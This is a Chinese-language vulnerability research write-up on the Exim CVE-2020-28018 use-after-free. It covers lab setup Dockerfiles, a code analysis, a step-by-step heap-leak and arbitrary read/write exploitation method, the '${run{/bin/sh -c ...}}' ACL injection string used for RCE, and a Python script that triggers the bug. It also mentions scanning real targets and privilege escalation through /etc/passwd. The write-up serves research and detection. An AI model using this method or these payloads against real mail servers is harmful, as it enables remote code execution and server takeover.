前段时间Exim突然出现了好多CVE[1] ,随后没多久Github上也出现了对CVE-2020-28018
进行利用最后达到RCE的EXP和利用思路[2] 。随后我也对该漏洞进行复现分析。
概述 经过一段时间的环境搭建,漏洞复现研究后,发现该漏洞的效果是很不错的,基本能在未认证的情况下稳定利用。但限制也很多:
要求服务端开启PIPELINING
要求服务端开启TLS,而且还是使用openssl库
EXP不能通杀
第一点还好,大部分都是默认开启的。但是第二点比较困难,因为我测试的两个系统debian/ubuntu,默认都是使用GnuTLS而不是OpenSSL。所以搭建环境的时候需要重新编译deb包。
第三点,测试debian和ubuntu的exp相差还是比较大的,不过后续研究发现是版本问题,如果不嫌麻烦,可以研究研究通杀的方法。Github公开的那个EXP不太行,我测试的两个版本都没戏,离能用的exp还相差比较多,当成探测的PoC还差不多。
环境搭建 先给一份Dockerfile
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 FROM ubuntu:18.04 RUN sed -i "s/archive.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list RUN sed -i "s/security.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list RUN apt update RUN mkdir /root/exim4 COPY *.deb /root/exim4/ COPY *.ddeb /root/exim4/ RUN dpkg -i /root/exim4/*.deb || apt --fix-broken install -y RUN dpkg -i /root/exim4/*.deb && dpkg -i /root/exim4/*.ddeb RUN sed -i "s/127.0.0.1 ; ::1/0.0.0.0/g" /etc/exim4/update-exim4.conf.conf RUN sed -i "1i\MAIN_TLS_ENABLE = yes" /etc/exim4/exim4.conf.template COPY exim.crt /etc/exim4/exim.crt COPY exim.key /etc/exim4/exim.key COPY exim_start /exim_start RUN update-exim4.conf && chmod +x /exim_start CMD ["/exim_start" ]
其中crt
和key
的生成脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #!/bin/sh -e if [ -n "$EX4DEBUG " ]; then echo "now debugging $0 $@ " set -x fi DIR=/etc/exim4 CERT=$DIR /exim.crt KEY=$DIR /exim.key if ! which openssl > /dev/null ;then echo "$0 : openssl is not installed, exiting" 1>&2 exit 1 fi DAYS=1095 if [ "$1 " != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then echo "[*] $CERT and $KEY exists!" echo " Use \"$0 --force\" to force generation!" exit 0 fi if [ "$1 " = "--force" ]; then shift fi SSLEAY="$(tempfile -m600 -pexi) " cat > $SSLEAY <<EOM RANDFILE = $HOME/.rnd [ req ] default_bits = 1024 default_keyfile = exim.key distinguished_name = req_distinguished_name [ req_distinguished_name ] countryName = Country Code (2 letters) countryName_default = US countryName_min = 2 countryName_max = 2 stateOrProvinceName = State or Province Name (full name) localityName = Locality Name (eg, city) organizationName = Organization Name (eg, company; recommended) organizationName_max = 64 organizationalUnitName = Organizational Unit Name (eg, section) organizationalUnitName_max = 64 commonName = Server name (eg. ssl.domain.tld; required!!!) commonName_max = 64 emailAddress = Email Address emailAddress_max = 40 EOM echo "[*] Creating a self signed SSL certificate for Exim!" echo " This may be sufficient to establish encrypted connections but for" echo " secure identification you need to buy a real certificate!" echo " " echo " Please enter the hostname of your MTA at the Common Name (CN) prompt!" echo " " openssl req -config $SSLEAY -x509 -newkey rsa:1024 -keyout $KEY -out $CERT -days $DAYS -nodes rm -f $SSLEAY chown root:Debian-exim $KEY $CERT $DH chmod 640 $KEY $CERT $DH echo "[*] Done generating self signed certificates for exim!" echo " Refer to the documentation and example configuration files" echo " over at /usr/share/doc/exim4-base/ for an idea on how to enable TLS" echo " support in your mail transfer agent."
exim_start
文件内容如下:
1 2 3 4 #!/bin/bash /etc/init.d/exim4 start /bin/bash
deb
包的编译方法如下所示(不仅仅是该Dockerfile,如果是使用debian环境,方法类似):
debian从https://snapshot.debian.org/
下载存在漏洞的exim源码,ubuntu从https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa
上面进行下载。
接下来的步骤都是假设在ubuntu系统中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1.orig.tar.xz wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.debian.tar.xz wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.dsc dpkg-source --no-check -x exim4_4.90.1-1ubuntu1.5.dsc apt-get build-dep exim4 apt-get install --no-install-recommends devscripts cd exim4-4.90.1perl -i -pe 's/^\s*#\s*OPENSSL\s*:=\s*1/OPENSSL:=1/' debian/rules dch -l +openssl 'rebuild with openssl' debian/rules binary
漏洞分析 漏洞点 漏洞点位于tls-openssl.c
文件的tls_write
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int tls_write (BOOL is_server, const uschar *buff, size_t len, BOOL more) { int outbytes, error, left;SSL *ssl = is_server ? server_ssl : client_ssl; static gstring * corked = NULL ;DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n" , __FUNCTION__, buff, (unsigned long )len, more ? ", more" : "" ); if (is_server && (more || corked)) { corked = string_catn(corked, buff, len); if (more) return len; buff = CUS corked->s; len = corked->ptr; corked = NULL ; } ... }
static gstring * corked = NULL;
变量存在UAF漏洞。
该函数是一个在建立了TLS🔗后,进行socket输出的函数。
当参数more的值为True的时候,表示后续还有输出,把当前的输出存起来,等到more为False的时候,再进行输出。之前的值存储在corked
这个staic
变量里面。只有当进行TLS输出的时候,才会把corked
变量赋值为NULL,进行释放。
审计一波代码,把目光放在smtp_printf
函数,基本都是靠该函数调用的tls_write
函数。
Exim处理用户输入的主函数是smtp_in.c
文件的smtp_setup_msg
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int smtp_setup_msg (void ) { ...... # MAIL FROM if (rc == OK || rc == DISCARD) { BOOL more = pipeline_response(); if (!user_msg) smtp_printf("%s%s%s" , more, US"250 OK" , #ifndef DISABLE_PRDR prdr_requested ? US", PRDR Requested" : US"" , #else US"" , #endif US"\r\n" ); else { #ifndef DISABLE_PRDR if (prdr_requested) user_msg = string_sprintf("%s%s" , user_msg, US", PRDR Requested" ); #endif smtp_user_msg(US"250" , user_msg); } ...... # RCPT TO if (rc == OK) { BOOL more = pipeline_response(); if (user_msg) smtp_user_msg(US"250" , user_msg); else smtp_printf("250 Accepted\r\n" , more); receive_add_recipient(recipient, -1 ); ......
审计了一波函数,发现只有MAIL FROM
和RCPT TO
指令处理成功后,并且开启了PIPELINE,并且后续还有输入的情况下,more才为TRUE。
单从上面说的这些看,这代码好像没啥问题。一开始我也看不出为啥这会造成UAF,随后研究了一下Github上的EXP,步骤如下:
EHLO xxxx # 建立TLS之前必须先EHLO
STARTTLS
EHLO xxxxx # MAIL FROM/RCPT TO之前必须先EHLO
MAIL FROM # RCPT TO之前必须先MAIL FROM
RCPT TO: \nNO
关闭TLS信道,切换回明文信道
OP\n
使用EHLO或者REST调用smtp_reset
STARTTLS
NOOP
最关键的在5,6,8步,下面堆这三步进行解释:
5.. 必须要让RCPT执行成功,所以可以发送RCPT TO: <postermaster>
,处理完RCPT的时候,进入tls_write
进行输出,因为more等于1,所以会把成功的输出字符串250 Accept\r\n
储存到corked
变量中。随后处理剩下的字符NO
,因为没接收到回车,所以继续等待输出。
6.. 但是这个时候我们把TLS信道关闭,切换回明文信道,但是却不会调用smtp_reset,把tls用的堆比如corked
给释放掉。因为进入了明文信道,随后的输出就不会再调用tls_write
函数了。
8.. 比如我们调用EHLO xxx,后续将会调用smtp_reset
函数,变量corked
指向的堆将会被回收。但是corked
的值却不会被设置为NULL。随后我们再次切换到TLS信道,随便输入一个命令,将会调用tls_write
进行输出,这个时候corked
不为空,但是其指向的堆却已经被释放。所以这就造成了UAF漏洞。
RCE利用思路 利用思路还是跟这篇文章写的一样[3] ,大致分为3步:
利用漏洞泄漏出堆地址。
泄漏出堆地址后,在堆上搜索字符串acl_check_mail
的位置。
利用任意写把上面的字符串替换成:acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})
其中最难的是第一步,利用UAF漏洞泄漏出任意堆地址。或者说这步是影响通杀的地方,后续的步骤我测试了两个版本,都可以用一个代码通杀,但是第一步还是没办法。
UAF利用思路 这里就来具体说说利用UAF进行堆泄漏的过程,不知道是不是我环境问题(我感觉环境没错),Github上的exp,是没办法进行堆泄漏的。所以后面我花了很长一段时间在研究/调试堆,所以后续我就按照自己的思路进行讲解。
前面固定步骤:
EHLO x
STARTTLS
EHLO x
接下来就有区分度了:
一次性发送MAIL FROM: <>\n
+ RCPT TO: <postmaster>
* n + “NO”
先发送MAIL FROM: <>\n
,在发送RCPT TO: <postmaster>
* n + “NO”
不同的方式可以控制corked
地址的高低,但只能控制高低,却不能进行微调。
没有进行过多次测试,但是我估计n在exim 4.92+
上必须小于9。
理由如下:
corked是使用string_catn
函数进行堆分配的,所以是在第一次字符串长度的基础上加上127,因为要求MAIL和RCPT必须要成功,所以返回不是250 Accepted\r\n
就是250 OK\r\n
,长度都是在0x10以内,所以申请下来的堆长度基本是0x10字符串结构的头部 + 0x80 + 0x10 = 0x100,所以当n的值过大的时候,会根据新的长度进行新的堆分配申请。
在RCPT请求中,会调用string_sprintf
函数,我们来比较一下在exim4.90
和exim4.92
中这个函数的区别:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #define STRING_SPRINTF_BUFFER_SIZE (8192 * 4) # exim 4.90 uschar * string_sprintf (const char *format, ...) { va_list ap; uschar buffer[STRING_SPRINTF_BUFFER_SIZE]; va_start(ap, format); if (!string_vformat(buffer, sizeof (buffer), format, ap)) log_write(0 , LOG_MAIN|LOG_PANIC_DIE, "string_sprintf expansion was longer than " SIZE_T_FMT "; format string was (%s)\nexpansion started '%.32s'" , sizeof (buffer), format, buffer); va_end(ap); return string_copy(buffer);} uschar * string_copy (const uschar *s) { int len = Ustrlen(s) + 1 ;uschar *ss = store_get(len); memcpy (ss, s, len);return ss;} # exim 4.92 uschar * string_sprintf (const char *format, ...) { #ifdef COMPILE_UTILITY uschar buffer[STRING_SPRINTF_BUFFER_SIZE]; gstring g = { .size = STRING_SPRINTF_BUFFER_SIZE, .ptr = 0 , .s = buffer }; gstring * gp = &g; #else gstring * gp = string_get(STRING_SPRINTF_BUFFER_SIZE); #endif gstring * gp2; va_list ap; va_start(ap, format); gp2 = string_vformat(gp, FALSE, format, ap); gp->s[gp->ptr] = '\0' ; va_end(ap); if (!gp2) log_write(0 , LOG_MAIN|LOG_PANIC_DIE, "string_sprintf expansion was longer than %d; format string was (%s)\n" "expansion started '%.32s'" , gp->size, format, gp->s); #ifdef COMPILE_UTILITY return string_copy(gp->s);#else gstring_reset_unused(gp); return gp->s;#endif }
我最开始测试的就是exim4.92
,默认是没有定义COMPILE_UTILITY
。所以在这个版本中,每调用一次sprintf_smpt
就得store_get_3(0x8000)
,分配赋值之后,根据具体长度,调整next_yield
和yield_length
。但是随后测试的ubuntu18.04,用的就是exim4.90
,也就是使用多少分配多少。
这里简单说一下exim中的堆管理,如果理解不了,请阅读store_get_3
源码 其实只要关注3个全局变量就好了: current_block/next_yield/yield_length 每次申请内存,都会和yield_length进行比较,如果小于,那就直接分配从next_yiled开始的堆,current_block是当前大堆(malloc的堆)地址,也就是yield_length + (next_yield-current_block) == current_block.length
如果请求的堆大于yield_length,则重新向malloc申请新的堆块,堆块的最小长度为0x4000,最大程度为申请的长度。旧堆块则会被放入chainbase,除非被释放,要不然是不会再被使用了。
如果n的值过大,因为之前有多个RCPT,则会调用多个sprintf_smpt
,那么就会调用非常多个store_get_3(0x8000)
,这个时候堆布局将会被拉扯的非常大非常大,那这个时候string_catn
申请的新堆块将会在非常后面。
在我实际测试的过程中发现,当调用smtp_reset的时候,过大的堆都会在内存中被释放。也就是该地址变为了不可访问的地址。在EXP的表现就会变为在最后NOOP的时候,程序会crash。
因为exim处理请求都是fork出来的子进程处理的,就是crash了。也不影响主进程,所以没啥用,连dos都做不到。
到这里为止,我们主要是对corked的地址进行选择(选择题,感觉是没法变为填空题)。
接下来:
关闭TLS信道,进入明文信道
发送OP\n,得到OK\r\n的返回
接下来又有多种选择:
有以下几种命令可以调用:
EHLO/HELO xxxx 都能调用smtp_reset
RESET 也是用来调用smtp_reset的
MAIL FROM 在reset后必须跟EHLO才能MAIL FROM
RCPT TO 必须先MAIL FROM
\xFF * n 发送n个无效命令
DATA
顺序啥的都是自己自由调整,但是最开始最好得有一个调用reset的命令,因为这样才能让corked的堆进入释放的状态,后续我们才能用其他命令覆盖该堆地址的内容。
具体顺序各位可以自己自行调整,答案不唯一。我就分享一下我的经验:
因为我们的目的是泄漏出堆地址,所以我们得让堆地址出现在corked
的有效区域内,这个时候就有两种方法:
调用string_get
这类有指针函数的结构,不过我在调试的过程中只找到这一个。该结构的首地址必须要高于corked
,这样输出corked
的时候,就能把这个结构的指针泄漏出来。
修改corked->ptr
的大小,只要变的足够大,总能泄漏出堆地址。
Github的exp使用的是第一种方法,但是我使用的是第二种方法。
因为在我的研究中,好像做不到第一种情况,如果要做到第一种情况,会把corked的指针覆盖掉,所以就算在后面写了指针也没用。
不过后面研究exim4.90
的时候猜测,也许Github的环境是设置了COMPILE_UTILITY
。
在这个时候,不会有一堆store_get_3(0x8000)
捣乱,那么当string_catn
扩展堆的时候,堆指针和指针指向的值就不连续了,这样在覆盖值的时候就不会影响到指针了。
(:不过这都不重要了,反正我也研究出了思路2的exp。
思路2可以找一个命令,这个命令最后一个分配的堆块有可控的命令。比如我找的就是RCPT TO
,可以这样构造:RCPT TO: <a*x@b*n\x20\\x1f>
目的是要把corked->ptr
设置为0x4120, 这样就能泄漏出0x4120长度的字符串了。基本上会存在堆地址的,如果不存在,就是你的ptr不够大。不过这里要注意,ptr+字符串指针,别超出有效地址范围。
说完了UAF利用,能泄漏出堆地址后,你就踏出了最重要的一步,比如研究堆泄漏需要花你90%的时间,那研究任意读和任意写只要花5%的时间。
任意读就很简单了,把Github的拿出来改改大部分都能用。思路就是堆喷,喷到corked
的结构上,把字符串指针改成你想泄漏的地址。长度也就随便改改,比如0x1000。如果没喷上,就调试一下,搜一下喷上的地址区间,然后在改改最开始的poc,让corked
的地址凑上去,凑不上去,就是你喷的不够大,只要足够大,总能凑上去的。
因为喷的数据有不可显字符,所以也只能用DATA命令来进行堆喷了。
而任意写前面和任意读一样,都是通过堆喷,覆盖corked
的内容到你想写的地址。但是最后有一点不一样,使用的是MAIL FROM: cmd
,这样tls_write
将会输出501 cmd: missing or malformed local part (expected word or \"<\")\r\n
然后会调用string_catn
往corked
指向的地址写入上述的字符串。
因为用了堆喷,所以我觉得任意读和任意写的代码是可以通杀的。
最后的RCE思路,以前的exim就出现过了,就是利用acl_check
函数,调用expand_string
来进行命令执行。
在调用MAIL FROM
的时候,acl_check
会调用expand_string("acl_check_mail")
,所以我们可以堆上搜索这个字符串的位置,把该值换成我们想执行的命令,最后让它变成调用expand_string("acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})")
,这样在最后把NOOP
换成MAIL FROMM
,就能RCE了。
最后分享一个探测脚本吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 def _verify (self ): result = {} self.normalize_url() socket.setdefaulttimeout(5 ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.ip, self.port)) context = ssl._create_unverified_context() header = sock.recv(1024 ) while True : if b"ESMTP Exim 4.9" not in header: break sock.send(b"EHLO hh\r\n" ) data = sock.recv(1024 ) if b"250-STARTTLS\r\n" not in data or b"250-PIPELINING" not in data: break sock.send(b"STARTTLS\r\n" ) data = sock.recv(1024 ) if b"220 TLS go ahead" not in data: break tls_s = context.wrap_socket(sock, server_hostname=self.ip) tls_s.send(b"EHLO hh\r\n" ) data = tls_s.recv(1024 ) if b"HELP\r\n" not in data: break tls_s.send(b"MAIL FROM: <>\r\n" ) data = tls_s.recv(1024 ) if b"OK\r\n" not in data: break rcpt_data1 = b"RCPT TO: <postmaster>\r\n" for i in range (6 ): rcpt_data1 += b"RCPT TO: <postmaster>\r\n" rcpt_data1 += b"NO" tls_s.send(rcpt_data1) socket.setdefaulttimeout(1 ) try : tls_s.unwrap() except socket.timeout: pass socket.setdefaulttimeout(5 ) tls_s._sslobj = None sock = tls_s sock.send(b"OP\r\n" ) data = sock.recv(1024 ) if b"OK\r\n" not in data: break sock.send(b"EHLO hh\r\n" ) data = sock.recv(1024 ) if b"HELP\r\n" not in data: break sock.send(b"STARTTLS\r\n" ) data = sock.recv(1024 ) if b"220 TLS go ahead" not in data: break tls_s = context.wrap_socket(sock, server_hostname=self.ip) tls_s.send(b"NOOP\r\n" ) data = tls_s.recv(1024 ) if b"250 Accepted" in data: result["VerifyInfo" ] = {} result['VerifyInfo' ]["Target" ] = self.ip result['VerifyInfo' ]["Port" ] = self.port result['VerifyInfo' ]["INFO" ] = header break return self.parse_output(result)
提权 已经有提权的EXP了,Debian-exim
用户通过写/etc/passwd
来进行提权。
最后分享一下RCE + 提权的效果图:
其他 复现这个漏洞,最花时间的还是在调试泄漏的堆上,其次就是折腾环境。再下来就是折腾python进行TLS wrap的问题了。
遇到一个坑点,在debian上,调用ssl.unwrap没问题,但是在ubuntu上就会卡死。
搜了半天在网上没找到答案,最后使用strace
进行调试,发现python在unwrap后估计还在等服务器回应,但是服务器不会,所以IO就卡住了。但是这个时候只要客户端发送一个SHUTDOWN包,就能结束TLS信道,切换回明文信道了。
所以只要在调用unwrap的时候设置一个超时就好了。如果是写C的就没这些烦恼了。
期间还尝试了直接用python调用C的API,可以是可以,但是太麻烦了。
这里简单的分享一下,用python调用C的SSL API:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from cryptography.hazmat.bindings.openssl.binding import Bindingbinding = Binding() lib = binding.lib _FFI = binding.ffi no_zero_allocator = _FFI.new_allocator(should_clear_after_alloc=True ) lib.SSL_library_init() lib.OpenSSL_add_all_algorithms() lib.SSL_load_error_strings() method = lib.TLSv1_2_client_method() ctx = lib.SSL_CTX_new(method) tls_s = lib.SSL_new(ctx) lib.SSL_set_fd(tls_s, sock.fileno()) lib.SSL_set_connect_state(tls_s) ret = lib.SSL_do_handshake(tls_s) if ret: ret = lib.SSL_write(tls_s, b"HELP\r\n" , 6 ) if ret >= 0 : buf = no_zero_allocator("char []" , 0x1000 ) ret = lib.SSL_read(tls_s, buf, 0x1000 ) data = _FFI.buffer(buf, ret) print (data[:]) lib.SSL_shutdown(tls_s)
UPDATE 2021/06/03 因为想看看该漏洞的影响情况,所以简单找了1w的目标进行无损探测了一波,结果如下:
成功率非常低,不过在预期之中。随后又对这成功的61个目标进行了研究,发现这61个目标都是CentOS系统,所以我把目光放到了CentOS上。
我发现CentOS的默认源中,不存在exim包,需要添加epel源,才能安装exim。
经过多次测试研究发现,在CentOS7上,非最新版(大概低了一个版本)exim 4.92.3 存在漏洞,可以成功RCE。
在CentOS8上,exim 4.93
也测试成功,同样不是最新版。
下面给一个CentOS7的Dockerfile:
1 2 3 4 5 6 7 8 9 10 11 12 FROM centos:centos7RUN yum update -y && yum install -y epel-release wget RUN wget https://kojipkgs.fedoraproject.org//packages/exim/4.92.3/1.el7/x86_64/exim-4.92.3-1.el7.x86_64.rpm RUN yum install -y exim-4.92.3-1.el7.x86_64.rpm COPY exim.crt /etc/pki/tls/certs/exim.pem COPY exim.key /etc/pki/tls/private/exim.pem COPY exim_start /exim_start RUN chmod +x /exim_start CMD ["/exim_start" ]
总结了一下我测试成功的机器:
Debian 10 exim 4.92
ubuntu 18.04 exim 4.90
CentOS7 exim 4.92
CentOS8 exim 4.93
我发现在同一个版本中,即使是不同机器,是可以写出通用的exp的,同一个机器,不同版本,exp是不一样的,而且差距都比较大。
然后还想说一下,那个Github里exp的利用方式在4.90/4.93
上是可以用的,但是4.92上不行(反正我没想到要咋利用。
参考链接
https://www.qualys.com/2021/05/04/21nails/21nails.txt
https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2020-28018
https://adepts.of0x.cc/exim-cve-2020-28018/